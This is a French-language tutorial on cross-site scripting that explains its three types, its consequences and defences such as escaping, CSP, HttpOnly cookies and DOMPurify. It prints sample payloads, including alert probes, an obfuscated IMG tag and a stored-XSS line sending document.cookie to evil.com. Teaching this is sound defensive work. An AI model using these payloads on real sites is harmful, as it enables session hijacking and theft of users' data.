🔐 Qu’est-ce que le XSS (Cross-Site Scripting) ?
Le XSS est une faille de sécurité dans les applications web qui permet à un attaquant d’injecter du code exécutable (souvent en JavaScript) dans une page consultée par d’autres utilisateurs. Cette attaque tire parti du fait que l’application ne valide ni n’échappe correctement les données entrées par les utilisateurs avant de les afficher dans la page web.
Le terme "cross-site" vient du fait que ce code malveillant est exécuté dans le contexte du site cible, ce qui peut donner à l’attaquant un accès aux cookies, sessions, ou données sensibles du site.
⚙️ Exemple simple de XSS
Imaginons une page de commentaire avec le code suivant en backend (très simplifié) :
php
CopierModifier
echo $_GET['message'];
Et l’utilisateur entre l’URL suivante dans son navigateur :
php-template
CopierModifier
https://monsite.com/commentaire.php?message=<script>alert('XSS');
</script>
➡ Résultat : Le navigateur exécutera le JavaScript injecté. Une boîte d’alerte apparaîtra.
➡ En pratique, cela peut être utilisé pour voler des cookies, faire des redirections invisibles, enregistrer des frappes clavier (keylogger), etc.
🎯 Types de XSS
Il existe trois grandes catégories de XSS, selon où et comment l'injection est traitée :
1. 📥 XSS réfléchi (Reflected XSS)
- Le script malveillant est envoyé via une requête HTTP (GET ou POST) et immédiatement renvoyé dans la réponse du serveur.
- Aucun stockage : il ne reste pas dans la base de données.
- L’utilisateur doit cliquer sur un lien piégé.

Exemple :
html
CopierModifier
https://site.com/search?q=<script>stealCookies()</script>

2. 💾 XSS stocké (Stored XSS)

- L’attaque est enregistrée dans la base de données (commentaires, messages, profils…).
- Elle s’exécute automatiquement à chaque affichage, pour chaque utilisateur.

Exemple :
Un utilisateur poste :
html
CopierModifier
<script>fetch('https://evil.com/steal?cookie='+document.cookie)
</script>

- Tout utilisateur qui voit ce message verra son cookie envoyé à l’attaquant.

3. 🧠 XSS basé sur le DOM (DOM-based XSS)

- L’injection se produit uniquement côté client, souvent via JavaScript manipulant le DOM à partir de données non échappées (comme window.location, document.referrer, etc.)

Exemple :
js
CopierModifier
// Dans un script de la pagedocument.getElementById("result").innerHTML = location.hash.substring(1);
Et l’attaquant utilise l’URL :
php-template
CopierModifier
https://site.com/#<script>stealData()</script>

🧨 Conséquences d’un XSS

Un XSS bien exploité peut :

- 🥷 Voler les cookies ou tokens JWT
- 🎭 Usurper l'identité de l'utilisateur (session hijacking)
- 🔁 Rediriger vers des pages de phishing
- 🧠 Modifier dynamiquement la page (ex : afficher de fausses informations)
- 🪝 Enregistrer les frappes clavier (keylogger)
- 📩 Envoyer des requêtes API au nom de l’utilisateur (CSRF combiné)
- 🛑 Désactiver ou contourner la sécurité du site

🛡️ Prévention et bonnes pratiques

✅ 1. Validation et filtrage des entrées

Ne jamais faire confiance aux données entrantes. Validez leur type, format, taille, etc.

✅ 2. Échappement (escaping) du contenu

Quand vous affichez du contenu utilisateur dans une page HTML :

- Utilisez des fonctions d’échappement (ex: htmlspecialchars() en PHP, ou @Html.Encode() en ASP.NET)
- Dans Angular, l’interpolation ({{ }}) échappe automatiquement le contenu, ce qui protège du XSS.

✅ 3. Utiliser des frameworks sécurisés

- Angular, React, Vue protègent par défaut contre la plupart des XSS.
- Mais il faut éviter les fonctions comme innerHTML, dangerouslySetInnerHTML, bypassSecurityTrustHtml, etc., sauf si vous êtes sûrs de la source.

✅ 4. Content Security Policy (CSP)

Une CSP bien définie peut empêcher l’exécution de scripts non autorisés :

Content-Security-Policy: default-src 'self'; script-src 'self';

✅ 5. HTTPOnly + Secure sur les cookies

Empêche l’accès au cookie via document.cookie, donc limite les risques si XSS existe.

✅ 6. Sanitize le HTML

Si vous autorisez certains HTML, utilisez une bibliothèque de nettoyage :

En JavaScript : DOMPurify

En .NET : AntiXSS Library

En PHP : HTML Purifier

👩‍💻 Exemple concret dans Angular
Dans Angular, ceci est sécurisé :

html
Copier
Modifier
{{ userInput }}
Mais ceci est dangereux :

html
Copier
Modifier
<p [innerHTML]="userInput">
➡️ Si vous utilisez [innerHTML], vous devez nettoyer avec un outil comme DOMPurify, ou Angular DomSanitizer.

🧪 Test de vulnérabilité XSS
Pour tester si une page est vulnérable, vous pouvez essayer d'injecter :

html
Copier
Modifier
<script>alert('XSS')</script>
ou une version obfusquée :

html
Copier
Modifier
<IMG SRC=javascript:alert('XSS')>
Si une alerte apparaît, la page est probablement vulnérable.
Conclusion
Le XSS est l'une des failles les plus courantes sur le web, mais aussi l'une des plus dangereuses. Il est simple à exploiter, souvent silencieux, et peut avoir des conséquences graves.
Heureusement, avec une bonne hygiène de développement, des outils modernes, et une attention constante à la validation/échappement des données, on peut le prévenir efficacement.